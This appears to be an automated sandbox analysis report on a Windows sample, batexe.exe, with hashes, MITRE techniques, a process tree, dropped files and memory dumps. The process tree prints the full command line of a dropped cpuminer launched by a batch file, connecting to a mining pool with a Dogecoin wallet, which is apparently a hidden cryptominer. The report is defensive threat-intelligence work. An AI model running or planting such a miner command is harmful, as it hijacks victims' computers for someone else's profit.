73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
300s
max time network
302s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
12-02-2024 08:15

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3336304223-2978740688-3645194410-1000\Control Panel\International\Geo\Nation	b2e.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3336304223-2978740688-3645194410-1000\Control Panel\International\Geo\Nation	batexe.exe

Executes dropped EXE 2 IoCs

pid	Process
3480	b2e.exe
3924	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
3924	cpuminer-sse2.exe
3924	cpuminer-sse2.exe
3924	cpuminer-sse2.exe
3924	cpuminer-sse2.exe
3924	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3800-8-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3800 wrote to memory of 3480	3800	batexe.exe	84
PID 3800 wrote to memory of 3480	3800	batexe.exe	84
PID 3800 wrote to memory of 3480	3800	batexe.exe	84
PID 3480 wrote to memory of 5088	3480	b2e.exe	85
PID 3480 wrote to memory of 5088	3480	b2e.exe	85
PID 3480 wrote to memory of 5088	3480	b2e.exe	85
PID 5088 wrote to memory of 3924	5088	cmd.exe	88
PID 5088 wrote to memory of 3924	5088	cmd.exe	88

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3800
- C:\Users\Admin\AppData\Local\Temp\8DC9.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\8DC9.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\8DC9.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3480
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\9923.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5088
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3924

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\8DC9.tmp\b2e.exe

Filesize
24.8MB

MD5
46aa4def2176d48f1e638298f49e9196

SHA1
4ef088bc6b1f07ad013a124df5ff881471b42f0b

SHA256
86fb165f63110f5b8ee789fb22efa38196ebd4872e3a8598a35170e490981b18

SHA512
5bd77aa816049d48e4df452fc2fe6c1d0efafc214fbd0f6d5fbd552b4bf22f362279929e3cef698b3bec64a7f9380b8db7bcc5b807e74c6a174f80e8a408d2c7

Download Submit
C:\Users\Admin\AppData\Local\Temp\8DC9.tmp\b2e.exe

Filesize
4.5MB

MD5
15fe3b622166db04c27b3fcb5ceffb24

SHA1
a794100da106418811d553ba4bf0827f5db2a1ad

SHA256
5607b3451e0f482583e6ecab18a8220ca3adda2ae9cf33d4de26b2ad52702343

SHA512
a1568593ceba6c60da1fda21ae76e2c154db826f85163663a2aa02cd70ffd4dc1577060fe320bf0cf07bdf83945cd52a57f417fed60a730b7c2a38569404f2c4

Download Submit
C:\Users\Admin\AppData\Local\Temp\8DC9.tmp\b2e.exe

Filesize
6.8MB

MD5
767cfb7dbb6e5c443c0ad91c6f9ffafd

SHA1
8f8406d2aba0292f0237dca705d359ad14e6c63b

SHA256
2eedebec290533f44afd0185d1f9936f2d061d0822b8934c45d8cca0ca1101fc

SHA512
d1788c6e16a4ec42036650f63510d1dbd84df13f07cb217370b73505ad595d0d3a046cd319fba53bb4044f535fa872f6884ad9703bdf54557a58939e76dfb05b

Download Submit
C:\Users\Admin\AppData\Local\Temp\9923.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
5.8MB

MD5
0c73fe804ca46ba79764cd6dc427838e

SHA1
5f2bdbc7fc62399b20374907315ccbc9a893e611

SHA256
c11a62c1827eea0170e0f5be29fd528252720f05632928392be4f7b7147ac61d

SHA512
675d2b4349ce067b41e26ae41d324975cd26a219953e2a8398b535f4a99bdb2022b4406be10a12db8dcf7ea400905228600a58a746a8c322cecb1409d6b251a7

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
5.0MB

MD5
9c92aa56e9788355af915ca82ec47857

SHA1
3c0074078f6e9dd9f7832f17503c6ce964f62bdd

SHA256
7e22190d57c5e69c0489283d144fea8ffabfdff6eb059e8bd2b267fbec0ff175

SHA512
34589d846af874142cce274f81476c064e52e9627eddff430a04de428bfde08da282c5b4e07738104c0934f7ec16ce91121d01acd688f04214f88b0b8b09c65e

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.7MB

MD5
e3c2a7b6c77b7fd1105cba965dcb3c1e

SHA1
b6ff05fa26124608d31deb2244799b2f1789d9f4

SHA256
17e10bb79982bddc437fb7ee393609afca420fd265182aae96f85bb3b5943319

SHA512
7e60bbf7a71dc71f3cdd71283065c23b4c406dc9108f2c3aa311cf64c74e5f63d7923f5ab65b64244117280f85635b222bce01198cb71f208543ab1898647304

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/3480-7-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3480-58-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3800-8-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/3924-46-0x000000006FEB0000-0x000000006FF48000-memory.dmp

Filesize
608KB

Download
memory/3924-45-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/3924-44-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/3924-47-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/3924-53-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3924-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3924-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3924-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3924-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3924-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3924-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3924-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3924-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download